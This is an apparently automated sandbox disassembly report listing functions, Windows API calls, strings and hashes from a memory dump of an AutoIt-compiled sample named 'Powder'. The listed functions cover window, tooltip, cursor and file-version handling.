Opcode ID: 9596efe6c38cba252710f436ea6f71c7c4880e28f368e50b0cf3698a9dd048c4
Instruction ID: 47e568b07ac0e935cbe81afdb6752c4411879f03233db12cc3443c2ceae72dee
Opcode Fuzzy Hash: 9596efe6c38cba252710f436ea6f71c7c4880e28f368e50b0cf3698a9dd048c4
Instruction Fuzzy Hash: 64E17E70904209AFDF219F55CC98BEEBBB8EF05710F148156F919AA2D2DB708A81DF71

Function 00D04ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00D05007
GetDesktopWindow.USER32 ref: 00D0501C
GetWindowRect.USER32(00000000), ref: 00D05023
GetWindowLongW.USER32(?,000000F0), ref: 00D05085
DestroyWindow.USER32(?), ref: 00D050B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00D050DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D050F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00D0511E
SendMessageW.USER32(?,00000421,?,?), ref: 00D05133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00D05146
IsWindowVisible.USER32(?), ref: 00D05166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00D05181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00D05195
GetWindowRect.USER32(?,?), ref: 00D051AD
MonitorFromPoint.USER32(?,?,00000002), ref: 00D051D3
GetMonitorInfoW.USER32(00000000,?), ref: 00D051ED
CopyRect.USER32(?,?), ref: 00D05204
SendMessageW.USER32(?,00000412,00000000), ref: 00D0526F

Strings

(, xrefs: 00D051E0
tooltips_class32, xrefs: 00D050D3
0, xrefs: 00D04FB2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: d4f70b8fe2fcb1a3de8dc78006a2f2a0310fe728d375ddb07e7e4f585a876e04
Instruction ID: 143e251d40a1a3ecd0856b6d90d205d15ec5ec88646ba1664397a8c76b8b1107
Opcode Fuzzy Hash: d4f70b8fe2fcb1a3de8dc78006a2f2a0310fe728d375ddb07e7e4f585a876e04
Instruction Fuzzy Hash: 56B17A70604701AFD704EF64D844B6BBBE5AF88314F048A1CF9999B291DB71E845CFA6

Function 00CE498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00CE499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00CE49C2
_wcscpy.LIBCMT ref: 00CE49F0
_wcscmp.LIBCMT ref: 00CE49FB
_wcscat.LIBCMT ref: 00CE4A11
_wcsstr.LIBCMT ref: 00CE4A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00CE4A38
_wcscat.LIBCMT ref: 00CE4A81
_wcscat.LIBCMT ref: 00CE4A88
_wcsncpy.LIBCMT ref: 00CE4AB3

Strings

DefaultLangCodepage, xrefs: 00CE4A9B
%u.%u.%u.%u, xrefs: 00CE4B16
\VarFileInfo\Translation, xrefs: 00CE4A30
04090000, xrefs: 00CE4A6E
StringFileInfo\, xrefs: 00CE4A0B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: a4fa5cf8e78b44b2fbee67cab2c29325d976ac6b98b40756322c47d39aa2eb57
Instruction ID: 88a6632275c57e83510fab95d36fa3c74069ae7eb22dd97832b3feafa61d71d0
Opcode Fuzzy Hash: a4fa5cf8e78b44b2fbee67cab2c29325d976ac6b98b40756322c47d39aa2eb57
Instruction Fuzzy Hash: F24126726002567FDB14BB659C07EBF77ACDF42320F00405AFA04A6182EB74DA41A6B5

Function 00C82BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00C82C8C
GetSystemMetrics.USER32(00000007), ref: 00C82C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00C82CBF
GetSystemMetrics.USER32(00000008), ref: 00C82CC7
GetSystemMetrics.USER32(00000004), ref: 00C82CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00C82D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00C82D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00C82D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00C82D60
GetClientRect.USER32(00000000,000000FF), ref: 00C82D7E
GetStockObject.GDI32(00000011), ref: 00C82D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00C82DA5

Part of subcall function 00C82714: GetCursorPos.USER32(?), ref: 00C82727
Part of subcall function 00C82714: ScreenToClient.USER32(00D477B0,?), ref: 00C82744
Part of subcall function 00C82714: GetAsyncKeyState.USER32(00000001), ref: 00C82769
Part of subcall function 00C82714: GetAsyncKeyState.USER32(00000002), ref: 00C82777

SetTimer.USER32(00000000,00000000,00000028,00C813C7), ref: 00C82DCC

Strings

AutoIt v3 GUI, xrefs: 00C82D44

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 5f6bbfbbe1a378b882144355e47460751acbc30d28f2886f474c41d3e141ec42
Instruction ID: bced7deabacf3676241fbc9a9c502dfdbdf5f1c4e3b6a937982cbf4dbe2949fa
Opcode Fuzzy Hash: 5f6bbfbbe1a378b882144355e47460751acbc30d28f2886f474c41d3e141ec42
Instruction Fuzzy Hash: 65B14C7560020AAFDB14EFA8DC89BFD7BA5FB08314F108129FA15E7290DB74A951CF64

Function 00CA0429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

GetForegroundWindow.USER32(00D10980,?,?,?,?,?), ref: 00CA04E3
IsWindow.USER32(?), ref: 00CD66BB

Strings

CLASS, xrefs: 00CD64E5
REGEXPTITLE, xrefs: 00CD64B4
ACTIVE, xrefs: 00CD6488
HANDLE, xrefs: 00CD649E
TITLE, xrefs: 00CD6650
INSTANCE, xrefs: 00CD65FA
LAST, xrefs: 00CD6472
ALL, xrefs: 00CD6622
REGEXPCLASS, xrefs: 00CD6506

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 3b4ed147d17a479bfb38d380b5c4f51f64211c56c846ffe78c358754644d25dd
Instruction ID: 63166304342b7aba83f2152b1786ca5da0122823c3fcfddac1ad466d7f570d2e
Opcode Fuzzy Hash: 3b4ed147d17a479bfb38d380b5c4f51f64211c56c846ffe78c358754644d25dd
Instruction Fuzzy Hash: CCD1B930504707DFCB04EF20C48199ABBB5BF55348F24461AF9A687762DF30EA99DB91

Function 00D0441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00D044AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00D0456C

Strings

GETITEMCOUNT, xrefs: 00D044DE
SELECT, xrefs: 00D04606
SELECTALL, xrefs: 00D045D3
GETSELECTEDCOUNT, xrefs: 00D0454F
SELECTINVERT, xrefs: 00D0463C
GETTEXT, xrefs: 00D04515
GETSUBITEMCOUNT, xrefs: 00D044F7
FINDITEM, xrefs: 00D046DF
VIEWCHANGE, xrefs: 00D0472B
SELECTCLEAR, xrefs: 00D045EB
DESELECT, xrefs: 00D0465A
GETSELECTED, xrefs: 00D0469A
ISSELECTED, xrefs: 00D04577

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 0973ab5f6d5f6c4722855b760193e39d8754d6a8723ddb50006f17ccf507fd70
Instruction ID: 306275f0e98ae5ce295edd11e4b1ee53173c42b422ffd25374096f2d88d25bfb
Opcode Fuzzy Hash: 0973ab5f6d5f6c4722855b760193e39d8754d6a8723ddb50006f17ccf507fd70
Instruction Fuzzy Hash: A8A17E712142019FCB14FF20C851F6AB3A5EF85358F148929F99A9B3E2DB70EC05DB61

Function 00CF56C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00CF56E1
LoadCursorW.USER32(00000000,00007F8A), ref: 00CF56EC
LoadCursorW.USER32(00000000,00007F00), ref: 00CF56F7
LoadCursorW.USER32(00000000,00007F03), ref: 00CF5702
LoadCursorW.USER32(00000000,00007F8B), ref: 00CF570D
LoadCursorW.USER32(00000000,00007F01), ref: 00CF5718
LoadCursorW.USER32(00000000,00007F81), ref: 00CF5723
LoadCursorW.USER32(00000000,00007F88), ref: 00CF572E
LoadCursorW.USER32(00000000,00007F80), ref: 00CF5739
LoadCursorW.USER32(00000000,00007F86), ref: 00CF5744
LoadCursorW.USER32(00000000,00007F83), ref: 00CF574F
LoadCursorW.USER32(00000000,00007F85), ref: 00CF575A
LoadCursorW.USER32(00000000,00007F82), ref: 00CF5765
LoadCursorW.USER32(00000000,00007F84), ref: 00CF5770
LoadCursorW.USER32(00000000,00007F04), ref: 00CF577B
LoadCursorW.USER32(00000000,00007F02), ref: 00CF5786
GetCursorInfo.USER32(?), ref: 00CF5796
GetLastError.KERNEL32(00000001,00000000), ref: 00CF57C1

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 2af5bd3023aa43623eb800c534a0e457bd36497f90d8b77c88b0010c48f030fd
Instruction ID: ebd49056f362e4ae82063e02dbee41c85d7ecb0f5000097f90f1ea0a0ae6e837
Opcode Fuzzy Hash: 2af5bd3023aa43623eb800c534a0e457bd36497f90d8b77c88b0010c48f030fd
Instruction Fuzzy Hash: 8D417470E043196ADB509FB68C49D6EFEF8EF51B50B10452FE219E7290DAB8A501CE61

Function 00CDB13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00CDB17B
__swprintf.LIBCMT ref: 00CDB21C
_wcscmp.LIBCMT ref: 00CDB22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00CDB284
_wcscmp.LIBCMT ref: 00CDB2C0
GetClassNameW.USER32(?,?,00000400), ref: 00CDB2F7
GetDlgCtrlID.USER32(?), ref: 00CDB349
GetWindowRect.USER32(?,?), ref: 00CDB37F
GetParent.USER32(?), ref: 00CDB39D
ScreenToClient.USER32(00000000), ref: 00CDB3A4
GetClassNameW.USER32(?,?,00000100), ref: 00CDB41E
_wcscmp.LIBCMT ref: 00CDB432
GetWindowTextW.USER32(?,?,00000400), ref: 00CDB458
_wcscmp.LIBCMT ref: 00CDB46C

Part of subcall function 00CA385C: _iswctype.LIBCMT ref: 00CA3864

Strings

%s%u, xrefs: 00CDB216

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 6b2cca8a1daefb16acb99a69cac59b0a350261906ea0f13d5264fbd9ad60f63d
Instruction ID: 54cfbcfb33c5106a78d5e5cfa026174e52f781ac0cebaab4dbe1882c8ee51bfc
Opcode Fuzzy Hash: 6b2cca8a1daefb16acb99a69cac59b0a350261906ea0f13d5264fbd9ad60f63d
Instruction Fuzzy Hash: 16A1B171204306EFD714DF64C884BEAB7A8FF44354F11851AFAA9D2291DB30EE56CBA1

Function 00CDBA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00CDBAB1
_wcscmp.LIBCMT ref: 00CDBAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00CDBAEA
CharUpperBuffW.USER32(?,00000000), ref: 00CDBB07
_wcscmp.LIBCMT ref: 00CDBB25
_wcsstr.LIBCMT ref: 00CDBB36
GetClassNameW.USER32(00000018,?,00000400), ref: 00CDBB6E
_wcscmp.LIBCMT ref: 00CDBB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 00CDBBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 00CDBBEE
_wcscmp.LIBCMT ref: 00CDBBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 00CDBC26
GetWindowRect.USER32(00000004,?), ref: 00CDBC8F

Strings

ThumbnailClass, xrefs: 00CDBB79, 00CDBBF9
@, xrefs: 00CDBA92

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 85f1a09524f8d0dcae1283f1ae4f63a13335d8c3a9aae9fb63a3c3d4c91954ea
Instruction ID: caaa89d301a644ac36e33f4e534e2b9d9c46f7cc27362462222b50abae786550
Opcode Fuzzy Hash: 85f1a09524f8d0dcae1283f1ae4f63a13335d8c3a9aae9fb63a3c3d4c91954ea
Instruction Fuzzy Hash: 24817F71004206EBDB14DF14C985FAA7BD8FF84314F04856BFE999A296DB30DE46CB61

Function 00CDB8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00CDB915

Strings

[REGEXPTITLE:, xrefs: 00CDB93D
[CLASS:, xrefs: 00CDB965
HANDLE=, xrefs: 00CDB90E
REGEXP=, xrefs: 00CDB92A
ACTIVE, xrefs: 00CDB8F0
CLASSNAME=, xrefs: 00CDB952
[LAST, xrefs: 00CDB9C2
[ALL, xrefs: 00CDB9BB
LAST, xrefs: 00CDB8DA
ALL, xrefs: 00CDB9A9
[ACTIVE, xrefs: 00CDB902
[HANDLE:, xrefs: 00CDB921

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 191120089a5061d3d5842607230c108be0d30d8a10b1e27014120ede8c7cac58
Instruction ID: 675fb95d06bd1429d4f0d85fab2841e0acc113caaaecf4484e9733fdfe905ad2
Opcode Fuzzy Hash: 191120089a5061d3d5842607230c108be0d30d8a10b1e27014120ede8c7cac58
Instruction Fuzzy Hash: 2C310630B40646EACF00FBA0CD67EAE73B49F20390F650126FA91711D2EF556F08E566

Function 00CDCB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00CDCBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00CDCBBC
SetWindowTextW.USER32(?,?), ref: 00CDCBD3
GetDlgItem.USER32(?,000003EA), ref: 00CDCBE8
SetWindowTextW.USER32(00000000,?), ref: 00CDCBEE
GetDlgItem.USER32(?,000003E9), ref: 00CDCBFE
SetWindowTextW.USER32(00000000,?), ref: 00CDCC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00CDCC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00CDCC3F
GetWindowRect.USER32(?,?), ref: 00CDCC48
SetWindowTextW.USER32(?,?), ref: 00CDCCB3
GetDesktopWindow.USER32 ref: 00CDCCB9
GetWindowRect.USER32(00000000), ref: 00CDCCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00CDCD0C
GetClientRect.USER32(?,?), ref: 00CDCD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00CDCD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00CDCD69

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 12641b4f4c0d04524063869546e01201128770699eb6fa688055213d5009d55c
Instruction ID: f4c09a22bbecf8f5035ef0b17dce2a95f09cd94103d682b4194943591ce98fea
Opcode Fuzzy Hash: 12641b4f4c0d04524063869546e01201128770699eb6fa688055213d5009d55c
Instruction Fuzzy Hash: 71517F7090070AAFDB20AFA8CE85BAEBBF5FF44705F004519E656E26A0CB74E955CF50

Function 00D0A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D0A87E
DestroyWindow.USER32(00000000,?), ref: 00D0A8F8

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00D0A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00D0A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D0A9A7
DestroyWindow.USER32(00000000), ref: 00D0A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00C80000,00000000), ref: 00D0AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D0AA19
GetDesktopWindow.USER32 ref: 00D0AA32
GetWindowRect.USER32(00000000), ref: 00D0AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00D0AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00D0AA69

Part of subcall function 00C829AB: GetWindowLongW.USER32(?,000000EB), ref: 00C829BC

Strings

0, xrefs: 00D0A894
tooltips_class32, xrefs: 00D0A96B, 00D0A9F9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 90a33a17583838a608abaf3fd462d0c9847c71803abf9c420c0b55a84f8c2383
Instruction ID: 93933925a2a08eb50326b166257cd2e00eb9f6cc1cd3b819d062ca3b0a3d50f6
Opcode Fuzzy Hash: 90a33a17583838a608abaf3fd462d0c9847c71803abf9c420c0b55a84f8c2383
Instruction Fuzzy Hash: 58718A71240344AFD721DF28CC49FAA7BE5EB89304F48451DF98A873A1DB70E946DB62

Function 00D0CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

DragQueryPoint.SHELL32(?,?), ref: 00D0CCCF

Part of subcall function 00D0B1A9: ClientToScreen.USER32(?,?), ref: 00D0B1D2
Part of subcall function 00D0B1A9: GetWindowRect.USER32(?,?), ref: 00D0B248
Part of subcall function 00D0B1A9: PtInRect.USER32(?,?,00D0C6BC), ref: 00D0B258

SendMessageW.USER32(?,000000B0,?,?), ref: 00D0CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00D0CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00D0CD66
_wcscat.LIBCMT ref: 00D0CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00D0CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 00D0CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 00D0CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 00D0CDFF
DragFinish.SHELL32(?), ref: 00D0CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00D0CEF9

Strings

@GUI_DRAGFILE, xrefs: 00D0CEA8
@GUI_DRAGID, xrefs: 00D0CE71
@GUI_DROPID, xrefs: 00D0CE26

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 3824981cef59710b4a4362d284e7bc04f43912086f30683ecf3c3cee828043f9
Instruction ID: d4f3b43c2e0216af0bb5f8554a21609749bed9bd355fecb202df751bbc4e4a04
